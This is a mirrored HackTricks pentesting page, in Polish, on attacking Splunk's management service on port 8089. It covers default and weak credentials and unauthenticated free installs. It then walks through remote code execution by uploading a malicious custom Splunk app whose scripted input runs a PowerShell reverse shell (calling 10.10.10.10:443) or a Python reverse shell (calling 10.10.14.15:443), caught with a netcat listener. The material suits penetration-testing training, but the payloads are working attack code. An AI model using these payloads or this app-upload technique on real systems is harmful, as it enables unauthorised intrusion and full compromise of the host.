mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
139 lines
9 KiB
Markdown
139 lines
9 KiB
Markdown
# 8089 - Testowanie penetracyjne Splunkd
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
## **Podstawowe informacje**
|
|
|
|
Splunk to narzędzie do **analizy logów**, które odgrywa kluczową rolę w **gromadzeniu, analizowaniu i wizualizacji danych**. Chociaż jego pierwotnym celem nie było pełnienie roli narzędzia **SIEM (Security Information and Event Management)**, zyskało popularność w dziedzinie **monitorowania bezpieczeństwa** i **analizy biznesowej**.
|
|
|
|
Instalacje Splunk są często wykorzystywane do przechowywania **wrażliwych danych** i mogą stanowić **cenne źródło informacji** dla potencjalnych atakujących, jeśli uda im się zhakować system.
|
|
**Domyślny port:** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
Serwer internetowy Splunk domyślnie działa na porcie 8000.
|
|
{% endhint %}
|
|
|
|
## Wyliczanie
|
|
|
|
### Wersja darmowa
|
|
|
|
Po 60 dniach wersja próbna Splunk Enterprise przekształca się w **wersję darmową**, która **nie wymaga uwierzytelniania**. Nie jest rzadkością, że administratorzy systemów instalują wersję próbną Splunka, aby ją przetestować, a następnie o niej zapominają. Automatycznie przekształci się ona w wersję darmową, która nie posiada żadnej formy uwierzytelniania, wprowadzając lukę w zabezpieczeniach środowiska. Niektóre organizacje mogą wybrać wersję darmową ze względu na ograniczenia budżetowe, nie do końca rozumiejąc implikacje braku zarządzania użytkownikami/rolami.
|
|
|
|
### Domyślne dane uwierzytelniające
|
|
|
|
W starszych wersjach Splunka domyślne dane uwierzytelniające to **`admin:changeme`**, które wygodnie są wyświetlane na stronie logowania.\
|
|
Jednak **najnowsza wersja Splunka** ustawia **dane uwierzytelniające** **podczas procesu instalacji**. Jeśli domyślne dane uwierzytelniające nie działają, warto sprawdzić popularne słabe hasła, takie jak `admin`, `Welcome`, `Welcome1`, `Password123`, itp.
|
|
|
|
### Uzyskiwanie informacji
|
|
|
|
Po zalogowaniu się do Splunka możemy **przeglądać dane**, uruchamiać **raporty**, tworzyć **dashbordy**, **instalować aplikacje** z biblioteki Splunkbase oraz instalować niestandardowe aplikacje.\
|
|
Można również uruchamiać kod: Splunk ma wiele sposobów **uruchamiania kodu**, takich jak aplikacje Django po stronie serwera, punkty końcowe REST, wprowadzanie skryptowe i skrypty alarmowe. Powszechną metodą zdalnego wykonania kodu na serwerze Splunka jest użycie wprowadzenia skryptowego.
|
|
|
|
Ponadto, ponieważ Splunk może być instalowany na hostach Windows lub Linux, można tworzyć wprowadzenia skryptowe do uruchamiania skryptów Bash, PowerShell lub Batch.
|
|
|
|
### Shodan
|
|
|
|
* `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### Tworzenie niestandardowej aplikacji
|
|
|
|
Niestandardowa aplikacja może uruchamiać skrypty **Python, Batch, Bash lub PowerShell**.\
|
|
Należy zauważyć, że **Splunk jest dostarczany z zainstalowanym Pythonem**, więc nawet na systemach **Windows** będzie można uruchamiać kod pythona.
|
|
|
|
Można użyć [**tego**](https://github.com/0xjpuff/reverse\_shell\_splunk) pakietu Splunka, aby nam pomóc. Katalog **`bin`** w tym repozytorium zawiera przykłady dla [Pythona](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) i [PowerShella](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Przejdźmy przez to krok po kroku.
|
|
|
|
Aby to osiągnąć, najpierw musimy utworzyć niestandardową aplikację Splunka, korzystając z następującej struktury katalogów:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
Katalog **`bin`** będzie zawierał wszystkie **skrypty, które zamierzamy uruchomić** (w tym przypadku odwróconą powłokę **PowerShell**), a domyślny katalog będzie zawierał nasz plik `inputs.conf`. Nasza odwrócona powłoka będzie jednolinijkowym skryptem **PowerShell:**
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
Plik [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) informuje Splunk **który skrypt uruchomić** oraz zawiera inne warunki. Tutaj ustawiamy aplikację jako włączoną i mówimy Splunkowi, aby uruchamiał skrypt co 10 sekund. Interwał zawsze jest podany w sekundach, a wejście (skrypt) zostanie uruchomione tylko wtedy, gdy ten parametr jest obecny.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
Potrzebujemy pliku `.bat`, który zostanie uruchomiony podczas wdrażania aplikacji i wykona jednolinijkowy skrypt PowerShell.
|
|
|
|
Następnym krokiem jest wybranie opcji `Zainstaluj aplikację z pliku` i przesłanie aplikacji.
|
|
|
|
<figure><img src="../.gitbook/assets/image (4) (5) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Przed przesłaniem złośliwej niestandardowej aplikacji, uruchommy nasłuchiwanie za pomocą Netcat lub [socat](https://linux.die.net/man/1/socat).
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
Na stronie `Prześlij aplikację` kliknij przeglądaj, wybierz wcześniej utworzony plik tarball i kliknij `Prześlij`. Jak **tylko przesłana zostanie aplikacja**, otrzymamy **odwróconą powłokę** i status aplikacji automatycznie zostanie zmieniony na `Włączony`.
|
|
|
|
#### Linux
|
|
|
|
Jeśli mielibyśmy do czynienia z **hostem Linux**, musielibyśmy **edytować skrypt Pythona `rev.py`** przed utworzeniem pliku tarball i przesłaniem niestandardowej złośliwej aplikacji. Reszta procesu byłaby taka sama, a my uzyskalibyśmy połączenie z odwróconą powłoką na naszym nasłuchującym Netcat i moglibyśmy zacząć działać.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Eskalacja uprawnień
|
|
|
|
Na następnej stronie znajdziesz wyjaśnienie, jak można wykorzystać tę usługę do eskalacji uprawnień i uzyskania trwałości:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Odwołania
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|